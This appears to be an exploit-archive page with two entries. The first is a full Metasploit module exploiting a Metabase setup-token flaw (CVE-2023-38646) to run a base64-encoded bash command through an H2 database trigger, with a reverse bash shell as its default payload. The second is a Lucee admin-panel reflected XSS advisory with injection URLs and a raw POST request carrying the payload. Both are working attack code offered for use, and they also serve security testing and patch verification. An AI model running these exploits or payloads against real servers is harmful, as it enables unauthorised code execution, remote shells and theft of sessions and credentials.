    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Metabase Setup Token RCE',        'Description' => %q{          Metabase versions before 0.46.6.1 contain a flaw where the secret setup-token          is accessible even after the setup process has been completed. With this token          a user is able to submit the setup functionality to create a new database.          When creating a new database, an H2 database string is created with a TRIGGER          that allows for code execution. We use a sample database for our connection          string to prevent corrupting real databases.          Successfully tested against Metabase 0.46.6.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die', # msf module          'Maxwell Garrett', # original PoC, analysis          'Shubham Shah' # original PoC, analysis        ],        'References' => [          ['URL', 'https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/'],          ['URL', 'https://www.metabase.com/blog/security-advisory'],          ['CVE', '2023-38646']        ],        'Platform' => ['unix'],        'Privileged' => false,        'Arch' => ARCH_CMD,        'DefaultOptions' => {          'PAYLOAD' => 'cmd/unix/reverse_bash'          # for docker payload/cmd/unix/reverse_netcat also works, but no perl/python        },        'Targets' => [          [ 'Automatic Target', {}]        ],        'DisclosureDate' => '2023-07-22',        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS]        }      )    )    register_options(      [        Opt::RPORT(3000),        OptString.new('TARGETURI', [ true, 'The URI of the Metabase Application', '/'])      ]    )  end  def get_bootstrap_json_blob_from_html_resp(html)    %r{<script type="application/json" id="_metabaseBootstrap">([^>]+)</script>} =~ html    begin      JSON.parse(Regexp.last_match(1))    rescue JSON::ParserError, TypeError      print_bad('Unable to parse JSON blob')      nil    end  end  def check    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path),      'method' => 'GET'    )    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200    json = get_bootstrap_json_blob_from_html_resp(res.body)    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response, unable to load JSON blob") if json.nil?    version = json.dig('version', 'tag')    return CheckCode::Unknown("#{peer} - Unable to determine version from JSON blob") if version.nil?    # typically v0.46.6    version = version.gsub('v', '')    if Rex::Version.new(version) < Rex::Version.new('0.46.6.1')      return CheckCode::Appears("Version Detected: #{version}")    end    CheckCode::Safe("Version not vulnerable: #{version}")  end  def exploit    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path),      'method' => 'GET'    )    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200    json = get_bootstrap_json_blob_from_html_resp(res.body)    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response, unable to load JSON blob") if json.nil?    setup_token = json['setup-token']    if setup_token.nil?      print_status('Setup token is nil, checking secondary location')      res = send_request_cgi(        'uri' => normalize_uri(target_uri.path, 'api', 'session', 'properties'),        'method' => 'GET'      )      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?      fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200      json = res.get_json_document      setup_token = json['setup-token']    end    fail_with(Failure::UnexpectedReply, "#{peer} - Unable to find valid setup-token") if setup_token.nil?    print_good("Found setup token: #{setup_token}")    print_status('Sending exploit (may take a few seconds)')    # our base64ed payload can't have = in it, so we'll pad out with spaces to remove them    b64_pe = ::Base64.strict_encode64(payload.encoded)    equals_count = b64_pe.count('=')    if equals_count > 0      b64_pe = ::Base64.strict_encode64(payload.encoded + ' ' * equals_count)    end    send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'api', 'setup', 'validate'),      'method' => 'POST',      'ctype' => 'application/json',      'data' => {        'token' => setup_token,        'details' =>          {            # 'is_on_demand' => false, # without this, the shell takes ~20 sec longer to get            # 'is_full_sync' => false,            # 'is_sample' => false,            # 'cache_ttl' => nil,            # 'refingerprint' => false,            # 'auto_run_queries' => true,            # 'schedules' => {},            'details' =>              {                'db' => "zip:/app/metabase.jar!/sample-database.db;TRACE_LEVEL_SYSTEM_OUT=0\\;CREATE TRIGGER #{Rex::Text.rand_text_alpha_upper(6..12)} BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,#{b64_pe}}|{base64,-d}|{bash,-i}')\n$$--=x",                'advanced-options' => false,                'ssl' => true              },            'name' => Rex::Text.rand_text_alphanumeric(6..12),            'engine' => 'h2'          }      }.to_json    )  endend

Metabase Remote Code Execution

Lucee version 5.4.2.17 suffers from a cross site scripting vulnerability.

    # Exploit Title: Lucee 5.4.2.17 - Authenticated Reflected XSS# Google Dork: NA# Date: 05/08/2023# Exploit Author: Yehia Elghaly# Vendor Homepage: https://www.lucee.org/# Software Link: https://download.lucee.org/# Version: << 5.4.2.17# Tested on: Windows 10# CVE: N/ASummary: Lucee is a light-weight dynamic CFML scripting language with a solid foundation.Lucee is a high performance, open source, ColdFusion / CFML server engine, written in Java.Description: The attacker can able to convince a victim to visit a malicious URL, can perform a wide variety of actions, such as stealing the victim's session token or login credentials.The payload: ?msg=<img src=xss onerror=alert('xssya')>http://172.16.110.130:8888/lucee/admin/server.cfm?action=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%29%3EPOST /lucee/admin/web.cfm?action=services.gateway&action2=create HTTP/1.1Host: 172.16.110.130:8888User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 278Origin: http://172.16.110.130:8888Connection: closeReferer: http://172.16.110.130:8888/lucee/admin/web.cfm?action=services.gateway&action2=createCookie: cfid=ee75e255-5873-461d-a631-0d6db6adb066; cftoken=0; LUCEE_ADMIN_LANG=en; LUCEE_ADMIN_LASTPAGE=overviewUpgrade-Insecure-Requests: 1name=AsynchronousEvents&class=&cfcPath=lucee.extension.gateway.AsynchronousEvents&id=a&_id=a&listenerCfcPath=lucee.extension.gateway.AsynchronousEventsListener&startupMode=automatic&custom_component=%3Fmsg%3D%3Cimg+src%3Dxss+onerror%3Dalert%28%27xssya%27%29%3E&mainAction=submit[Affected Component]Debugging-->TemplateService --> SearchServices  --> Event GatewayService --> Logging

Tag

#java